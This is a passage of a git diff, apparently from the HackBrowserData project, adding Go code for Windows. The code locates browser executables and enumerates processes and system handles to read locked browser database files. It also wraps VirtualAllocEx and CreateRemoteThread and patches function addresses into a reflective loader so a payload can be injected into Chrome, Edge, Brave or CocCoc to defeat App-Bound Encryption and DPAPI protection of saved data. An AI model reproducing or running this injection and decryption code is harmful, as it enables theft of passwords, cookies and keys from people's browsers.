0, 0, 0, 0, + uintptr(unsafe.Pointer(&out)), + ) + if r == 0 { + return nil, fmt.Errorf("CryptUnprotectData: %w", err) + } + defer procLocalFree.Call(uintptr(unsafe.Pointer(out.pbData))) + return out.bytes(), nil +} diff --git a/utils/winapi/process_windows.go b/utils/winapi/process_windows.go new file mode 100644 index 0000000..6137da7 --- /dev/null +++ b/utils/winapi/process_windows.go @@ -0,0 +1,113 @@ +//go:build windows + +package winapi + +import ( + "fmt" + "unsafe" + + "golang.org/x/sys/windows" +) + +// Call-style procs used by the typed wrappers below. +var ( + procVirtualAllocEx = Kernel32.NewProc("VirtualAllocEx") + procCreateRemoteThread = Kernel32.NewProc("CreateRemoteThread") + + // K32EnumProcesses is the kernel32-embedded twin of psapi!EnumProcesses + // introduced in Windows 7 — using it lets us skip the psapi.dll handle. + procK32EnumProcesses = Kernel32.NewProc("K32EnumProcesses") + procQueryFullProcessImageName = Kernel32.NewProc("QueryFullProcessImageNameW") +) + +// Address-style procs. The injector reads their raw addresses via .Addr() +// and patches them into the reflective loader's DOS stub. We never Call +// these from our own process. +var ( + procLoadLibraryA = Kernel32.NewProc("LoadLibraryA") + procGetProcAddress = Kernel32.NewProc("GetProcAddress") + procVirtualAlloc = Kernel32.NewProc("VirtualAlloc") + procVirtualProtect = Kernel32.NewProc("VirtualProtect") + procNtFlushIC = Ntdll.NewProc("NtFlushInstructionCache") +) + +// VirtualAllocEx wraps kernel32!VirtualAllocEx. Returns the allocated +// base address in the target process, or an error surfacing Win32 +// errno-0 explicitly via CallBoolErr. +func VirtualAllocEx(proc windows.Handle, size uintptr, flAllocType, flProtect uint32) (uintptr, error) { + return CallBoolErr(procVirtualAllocEx, + uintptr(proc), 0, size, + uintptr(flAllocType), uintptr(flProtect), + ) +} + +// CreateRemoteThread wraps kernel32!CreateRemoteThread. Returns the new +// thread's handle, which the caller must CloseHandle. +func CreateRemoteThread(proc windows.Handle, startAddr, param uintptr) (windows.Handle, error) { + h, err := CallBoolErr(procCreateRemoteThread, + uintptr(proc), 0, 0, + startAddr, param, 0, 0, + ) + if err != nil { + return 0, err + } + return windows.Handle(h), nil +} + +// Addr* functions expose raw function pointers for the reflective +// loader's DOS-stub patching. KnownDlls + session-consistent ASLR +// guarantees these addresses are valid in every process spawned in +// the same boot session. + +func AddrLoadLibraryA() uintptr { return procLoadLibraryA.Addr() } +func AddrGetProcAddress() uintptr { return procGetProcAddress.Addr() } +func AddrVirtualAlloc() uintptr { return procVirtualAlloc.Addr() } +func AddrVirtualProtect() uintptr { return procVirtualProtect.Addr() } +func AddrNtFlushInstructionCache() uintptr { return procNtFlushIC.Addr() } + +// EnumProcesses returns all PIDs currently visible to the caller. Backed +// by kernel32!K32EnumProcesses (available on Windows 7+), so we do not +// need a separate psapi.dll handle. The buffer doubles on overflow up to +// a 1M-entry safety cap. +func EnumProcesses() ([]uint32, error) { + size := uint32(1024) + for { + pids := make([]uint32, size) + var bytesReturned uint32 + r, _, err := procK32EnumProcesses.Call( + uintptr(unsafe.Pointer(&pids[0])), + uintptr(size*4), + uintptr(unsafe.Pointer(&bytesReturned)), + ) + if r == 0 { + return nil, fmt.Errorf("K32EnumProcesses: %w", err) + } + n := int(bytesReturned / 4) + // A completely filled buffer means we may have truncated — grow and retry. + if n < int(size) { + return pids[:n], nil + } + size *= 2 + if size > 1<<20 { + return nil, fmt.Errorf("EnumProcesses: PID buffer exceeded 1M entries") + } + } +} + +// QueryFullProcessImageName returns the full file-system path of the +// executable backing the given process handle. Open the handle with +// PROCESS_QUERY_LIMITED_INFORMATION (available to non-admin callers). +func QueryFullProcessImageName(h windows.Handle) (string, error) { + buf := make([]uint16, windows.MAX_PATH) + size := uint32(len(buf)) + r, _, err := procQueryFullProcessImageName.Call( + uintptr(h), + 0, + uintptr(unsafe.Pointer(&buf[0])), + uintptr(unsafe.Pointer(&size)), + ) + if r == 0 { + return "", fmt.Errorf("QueryFullProcessImageNameW: %w", err) + } + return windows.UTF16ToString(buf[:size]), nil +} diff --git a/utils/winapi/sysinfo_windows.go b/utils/winapi/sysinfo_windows.go new file mode 100644 index 0000000..906613a --- /dev/null +++ b/utils/winapi/sysinfo_windows.go @@ -0,0 +1,215 @@ +//go:build windows + +package winapi + +import ( + "fmt" + "strings" + "unsafe" + + "golang.org/x/sys/windows" +) + +const ( + // systemExtendedHandleInformation is the information class for + // NtQuerySystemInformation that returns SYSTEM_HANDLE_INFORMATION_EX. + // This is the 64-bit safe version (class 64) — UniqueProcessId is + // ULONG_PTR instead of USHORT, avoiding PID truncation on 64-bit Windows. + systemExtendedHandleInformation = 64 + + statusInfoLengthMismatch = 0xC0000004 + + fileMapRead = 0x0004 + pageReadonly = 0x02 + + // FileTypeDisk is the GetFileType return value for a normal disk file. + FileTypeDisk uint32 = 0x0001 + + maxHandleBufferSize = 256 * 1024 * 1024 + initialHandleBuffer = 4 * 1024 * 1024 +) + +var ( + procNtQuerySystemInformation = Ntdll.NewProc("NtQuerySystemInformation") + procGetFileType = Kernel32.NewProc("GetFileType") + procGetFinalPathNameByHandleW = Kernel32.NewProc("GetFinalPathNameByHandleW") + procCreateFileMappingW = Kernel32.NewProc("CreateFileMappingW") + procMapViewOfFile = Kernel32.NewProc("MapViewOfFile") + procUnmapViewOfFile = Kernel32.NewProc("UnmapViewOfFile") + procGetFileSizeEx = Kernel32.NewProc("GetFileSizeEx") +) + +// SystemHandleEntry mirrors SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, the extended +// entry returned by SystemExtendedHandleInformation (class 64). +// +// Layout on 64-bit Windows (40 bytes): +// +// PVOID Object; +// ULONG_PTR UniqueProcessId; +// ULONG_PTR HandleValue; +// ULONG GrantedAccess; +// USHORT CreatorBackTraceIndex; +// USHORT ObjectTypeIndex; +// ULONG HandleAttributes; +// ULONG Reserved; +type SystemHandleEntry struct { + Object uintptr + UniqueProcessID uintptr + HandleValue uintptr + GrantedAccess uint32 + CreatorBackTraceIndex uint16 + ObjectTypeIndex uint16 + HandleAttributes uint32 + Reserved uint32 +} + +// QuerySystemHandles enumerates all open handles system-wide via +// NtQuerySystemInformation(SystemExtendedHandleInformation). The buffer +// size grows on STATUS_INFO_LENGTH_MISMATCH until it succeeds or exceeds +// the safety cap. +func QuerySystemHandles() ([]SystemHandleEntry, error) { + bufSize := uint32(initialHandleBuffer) + + for { + buf := make([]byte, bufSize) + var returnLength uint32 + + ret, _, _ := procNtQuerySystemInformation.Call( + systemExtendedHandleInformation, + uintptr(unsafe.Pointer(&buf[0])), + uintptr(bufSize), + uintptr(unsafe.Pointer(&returnLength)), + ) + + if ret == statusInfoLengthMismatch { + bufSize *= 2 + if bufSize > maxHandleBufferSize { + return nil, fmt.Errorf("handle info buffer exceeded %d bytes", maxHandleBufferSize) + } + continue + } + if ret != 0 { + return nil, fmt.Errorf("NtQuerySystemInformation returned 0x%x", ret) + } + + // Header on 64-bit: NumberOfHandles (ULONG_PTR) + Reserved (ULONG_PTR) = 16 bytes. + numberOfHandles := *(*uintptr)(unsafe.Pointer(&buf[0])) + if numberOfHandles == 0 { + return nil, nil + } + + count := int(numberOfHandles) + const headerSize = unsafe.Sizeof(uintptr(0)) * 2 + entrySize := unsafe.Sizeof(SystemHandleEntry{}) + + required := headerSize + uintptr(count)*entrySize + if required > uintptr(len(buf)) { + return nil, fmt.Errorf("buffer too small: need %d, have %d", required, len(buf)) + } + + entries := make([]SystemHandleEntry, count) + for i := 0; i < count; i++ { + src := unsafe.Pointer(uintptr(unsafe.Pointer(&buf[0])) + headerSize + uintptr(i)*entrySize) + entries[i] = *(*SystemHandleEntry)(src) + } + return entries, nil + } +} + +// GetFileType returns the Windows FileType for h (e.g., FileTypeDisk). +func GetFileType(h windows.Handle) uint32 { + t, _, _ := procGetFileType.Call(uintptr(h)) + return uint32(t) +} + +// GetFileSizeEx returns the size of the file referenced by h. +func GetFileSizeEx(h windows.Handle) (int64, error) { + var sz int64 + r, _, err := procGetFileSizeEx.Call(uintptr(h), uintptr(unsafe.Pointer(&sz))) + if r == 0 { + return 0, fmt.Errorf("GetFileSizeEx: %w", err) + } + return sz, nil +} + +// ExpandEnvString is the Go-friendly wrapper around +// kernel32!ExpandEnvironmentStringsW. Use it when you need to resolve +// Windows-style %VAR% placeholders — Go's stdlib os.ExpandEnv only +// recognizes Unix-style $VAR / ${VAR} and leaves %VAR% untouched. +func ExpandEnvString(s string) (string, error) { + src, err := windows.UTF16PtrFromString(s) + if err != nil { + return "", fmt.Errorf("ExpandEnvString: %w", err) + } + // 4 KB of UTF-16 easily covers MAX_PATH-bounded install locations. + buf := make([]uint16, 4096) + n, err := windows.ExpandEnvironmentStrings(src, &buf[0], uint32(len(buf))) + if n == 0 { + return "", fmt.Errorf("ExpandEnvironmentStringsW: %w", err) + } + if int(n) > len(buf) { + // Buffer was too small — retry with exact size. + buf = make([]uint16, n) + n, err = windows.ExpandEnvironmentStrings(src, &buf[0], uint32(len(buf))) + if n == 0 { + return "", fmt.Errorf("ExpandEnvironmentStringsW: %w", err) + } + } + return windows.UTF16ToString(buf[:n]), nil +} + +// GetFinalPathName returns the normalized file path for h, with the +// \\?\ prefix stripped. +func GetFinalPathName(h windows.Handle) (string, error) { + size := 512 + for { + buf := make([]uint16, size) + n, _, err := procGetFinalPathNameByHandleW.Call( + uintptr(h), + uintptr(unsafe.Pointer(&buf[0])), + uintptr(len(buf)), + 0, // FILE_NAME_NORMALIZED + ) + if n == 0 { + return "", fmt.Errorf("GetFinalPathNameByHandle: %w", err) + } + if int(n) > len(buf) { + size = int(n) + continue + } + path := windows.UTF16ToString(buf[:n]) + return strings.TrimPrefix(path, `\\?\`), nil + } +} + +// MapFile creates a read-only file mapping over h, copies the first +// size bytes into a Go-owned slice, and releases the mapping. Reads go +// through the OS kernel's file cache, which includes SQLite WAL data +// that has not yet been checkpointed into the main file. +func MapFile(h windows.Handle, size int) ([]byte, error) { + mapping, _, err := procCreateFileMappingW.Call( + uintptr(h), + 0, pageReadonly, + 0, 0, 0, + ) + if mapping == 0 { + return nil, fmt.Errorf("CreateFileMapping: %w", err) + } + defer windows.CloseHandle(windows.Handle(mapping)) + + viewPtr, _, err := procMapViewOfFile.Call( + mapping, fileMapRead, + 0, 0, 0, + ) + if viewPtr == 0 { + return nil, fmt.Errorf("MapViewOfFile: %w", err) + } + defer procUnmapViewOfFile.Call(viewPtr) + + // viewPtr is a valid pointer from MapViewOfFile syscall. + // go vet flags this as "possible misuse of unsafe.Pointer" but it's + // correct usage for Windows memory-mapped I/O. + data := make([]byte, size) + copy(data, (*[1 << 30]byte)(unsafe.Pointer(viewPtr))[:size]) //nolint:govet + return data, nil +} diff --git a/utils/winapi/winapi_windows.go b/utils/winapi/winapi_windows.go new file mode 100644 index 0000000..be49287 --- /dev/null +++ b/utils/winapi/winapi_windows.go @@ -0,0 +1,45 @@ +//go:build windows + +// Package winapi centralizes low-level Windows API access used across +// HackBrowserData. It exposes typed wrappers around specific syscalls +// that golang.org/x/sys/windows does not cover, plus shared LazyDLL +// handles and a small error-handling helper. +// +// Callers: utils/injector, filemanager, crypto. Higher-level Windows +// browser utilities live in utils/winutil. +package winapi + +import ( + "errors" + "fmt" + "syscall" + + "golang.org/x/sys/windows" +) + +// Package-level LazyDLL handles. Declaring them once here avoids the +// NewLazySystemDLL boilerplate previously spread across injector, +// filemanager, and crypto. +var ( + Kernel32 = windows.NewLazySystemDLL("kernel32.dll") + Ntdll = windows.NewLazySystemDLL("ntdll.dll") + Crypt32 = windows.NewLazySystemDLL("crypt32.dll") +) + +// CallBoolErr wraps the common "r1 == 0 means failure" Win32 convention. +// Win32 GetLastError often returns ERROR_SUCCESS (errno 0) even on failure, +// so we distinguish the "no-errno" case explicitly to avoid emitting a +// misleading "operation completed successfully" message. errors.As is +// used instead of a type assertion so the check stays correct if +// x/sys/windows ever wraps the underlying errno. +func CallBoolErr(p *windows.LazyProc, args ...uintptr) (uintptr, error) { + r, _, callErr := p.Call(args...) + if r == 0 { + var errno syscall.Errno + if errors.As(callErr, &errno) && errno == 0 { + return 0, fmt.Errorf("%s: failed (no errno)", p.Name) + } + return 0, fmt.Errorf("%s: %w", p.Name, callErr) + } + return r, nil +} diff --git a/utils/winutil/browser_meta_windows.go b/utils/winutil/browser_meta_windows.go new file mode 100644 index 0000000..241c225 --- /dev/null +++ b/utils/winutil/browser_meta_windows.go @@ -0,0 +1,101 @@ +//go:build windows + +// Package winutil provides high-level Windows utilities for HackBrowserData, +// built on the low-level syscall wrappers in utils/winapi. +// +// It currently covers: +// - Browser executable resolution via registry App Paths + install-path +// fallbacks (browser_path_windows.go). +// - A single source of truth for Windows-side browser metadata: executable +// name, install fallbacks, and ABE dispatch kind (browser_meta_windows.go). +// +// The C-side counterpart — CLSID / IID / vtable-slot bytes consumed by the +// reflective payload — lives in crypto/windows/abe_native/com_iid.c and +// must stay separate: the payload runs inside the injected browser process +// with no Go runtime. +package winutil + +// ABEKind selects the App-Bound Encryption dispatch path used by the injected +// payload for this browser. DPAPI-only browsers (classic v10/v11) use ABENone; +// v20-capable Chromium forks pick a vtable slot based on which IElevator +// flavor their elevation_service exposes. +type ABEKind int + +const ( + // ABENone means this browser has no ABE path — the key retriever chain + // falls through to DPAPI for v10/v11. + ABENone ABEKind = iota + // ABEChromeBase is IElevator slot 5 (Chrome, Brave, CocCoc). + ABEChromeBase + // ABEEdge is IElevator slot 8 (Edge; prepends 3 extra interface methods). + ABEEdge + // ABEAvast is IElevator slot 13 (Avast; extended IElevator). + ABEAvast +) + +// Entry is the per-browser Windows metadata record. +// +// Key must match browser.BrowserConfig.Storage so retrievers and path +// resolvers share a single lookup identifier. CLSID/IID bytes are *not* +// stored here; see the package doc for why. +type Entry struct { + Key string + ExeName string + InstallFallbacks []string + ABE ABEKind +} + +// Table is the authoritative Go-side map of Windows browser metadata. +// Adding a new Chromium fork on the Go side is a single-entry edit here. +// The corresponding C-side CLSID/IID table lives in com_iid.c. +var Table = map[string]Entry{ + "chrome": { + Key: "chrome", + ExeName: "chrome.exe", + InstallFallbacks: []string{ + `%ProgramFiles%\Google\Chrome\Application\chrome.exe`, + `%ProgramFiles(x86)%\Google\Chrome\Application\chrome.exe`, + `%LocalAppData%\Google\Chrome\Application\chrome.exe`, + }, + ABE: ABEChromeBase, + }, + "chrome-beta": { + Key: "chrome-beta", + ExeName: "chrome.exe", + InstallFallbacks: []string{ + `%ProgramFiles%\Google\Chrome Beta\Application\chrome.exe`, + `%ProgramFiles(x86)%\Google\Chrome Beta\Application\chrome.exe`, + `%LocalAppData%\Google\Chrome Beta\Application\chrome.exe`, + }, + ABE: ABEChromeBase, + }, + "edge": { + Key: "edge", + ExeName: "msedge.exe", + InstallFallbacks: []string{ + `%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe`, + `%ProgramFiles%\Microsoft\Edge\Application\msedge.exe`, + }, + ABE: ABEEdge, + }, + "brave": { + Key: "brave", + ExeName: "brave.exe", + InstallFallbacks: []string{ + `%ProgramFiles%\BraveSoftware\Brave-Browser\Application\brave.exe`, + `%ProgramFiles(x86)%\BraveSoftware\Brave-Browser\Application\brave.exe`, + `%LocalAppData%\BraveSoftware\Brave-Browser\Application\brave.exe`, + }, + ABE: ABEChromeBase, + }, + "coccoc": { + Key: "coccoc", + ExeName: "browser.exe", + InstallFallbacks: []string{ + `%ProgramFiles%\CocCoc\Browser\Application\browser.exe`, + `%ProgramFiles(x86)%\CocCoc\Browser\Application\browser.exe`, + `%LocalAppData%\CocCoc\Browser\Application\browser.exe`, + }, + ABE: ABEChromeBase, + }, +} diff --git a/utils/winutil/browser_path_windows.go b/utils/winutil/browser_path_windows.go new file mode 100644 index 0000000..da7b08e --- /dev/null +++ b/utils/winutil/browser_path_windows.go @@ -0,0 +1,129 @@ +//go:build windows + +package winutil + +import ( + "errors" + "fmt" + "os" + "path/filepath" + "strings" + + "golang.org/x/sys/windows" + "golang.org/x/sys/windows/registry" + + "github.com/moond4rk/hackbrowserdata/utils/winapi" +) + +// ErrExecutableNotFound is returned when a browser's executable cannot be +// located via registry App Paths or any install-location fallback. +var ErrExecutableNotFound = errors.New("browser executable not found") + +// ExecutablePath resolves a browser's .exe with a 4-tier search: +// 1. Registry App Paths in HKLM +// 2. Registry App Paths in HKCU +// 3. Running-process probe — scan EnumProcesses for a match by exe name +// and return the owner's QueryFullProcessImageName. Picks up portable +// builds and non-standard installs that never wrote to App Paths. +// 4. Hard-coded InstallFallbacks from Table (last resort when the browser +// is not running and the registry is missing the entry). +// +// browserKey must match an Entry in Table; keys align with +// browser.BrowserConfig.Storage. +func ExecutablePath(browserKey string) (string, error) { + entry, ok := Table[browserKey] + if !ok { + return "", fmt.Errorf("%w: %q (no lookup entry)", ErrExecutableNotFound, browserKey) + } + + if p, err := appPathsLookup(entry.ExeName, registry.LOCAL_MACHINE); err == nil { + return p, nil + } + if p, err := appPathsLookup(entry.ExeName, registry.CURRENT_USER); err == nil { + return p, nil + } + + if p := runningProcessPath(entry.ExeName); p != "" { + return p, nil + } + + for _, candidate := range entry.InstallFallbacks { + // Use winapi.ExpandEnvString (kernel32!ExpandEnvironmentStringsW) + // rather than os.ExpandEnv: Go stdlib only understands Unix-style + // $VAR / ${VAR} and leaves Windows-style %VAR% untouched, which + // would make every fallback path fail to resolve. Verified on + // Windows 10 19044 + Go 1.20.14. + expanded, err := winapi.ExpandEnvString(candidate) + if err != nil { + continue + } + if fileExists(expanded) { + return expanded, nil + } + } + + return "", fmt.Errorf("%w: %q (registry miss, no running process, no fallback match)", + ErrExecutableNotFound, browserKey) +} + +// runningProcessPath scans live processes for one whose image filename +// matches exeName (case-insensitive) and returns the full path on the +// first hit. Errors are swallowed — this is a best-effort probe that +// yields to the hard-coded fallbacks if nothing matches. +func runningProcessPath(exeName string) string { + pids, err := winapi.EnumProcesses() + if err != nil { + return "" + } + for _, pid := range pids { + if pid == 0 { + continue + } + h, err := windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, false, pid) + if err != nil { + continue + } + path, err := winapi.QueryFullProcessImageName(h) + _ = windows.CloseHandle(h) + if err != nil || path == "" { + continue + } + // Match the leaf filename only — a substring match against the full + // path would accept "chrome_proxy.exe" when we asked for "chrome.exe". + if strings.EqualFold(filepath.Base(path), exeName) { + return path + } + } + return "" +} + +func appPathsLookup(exeName string, root registry.Key) (string, error) { + sub := `SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\` + exeName + k, err := registry.OpenKey(root, sub, registry.QUERY_VALUE) + if err != nil { + return "", err + } + defer k.Close() + + v, _, err := k.GetStringValue("") + if err != nil { + return "", err + } + v = unquote(v) + if !fileExists(v) { + return "", fmt.Errorf("registry path does not exist: %s", v) + } + return filepath.Clean(v), nil +} + +func fileExists(path string) bool { + info, err := os.Stat(path) + return err == nil && !info.IsDir() +} + +func unquote(s string) string { + if len(s) >= 2 && s[0] == '"' && s[len(s)-1] == '"' { + return s[1 : len(s)-1] + } + return s +}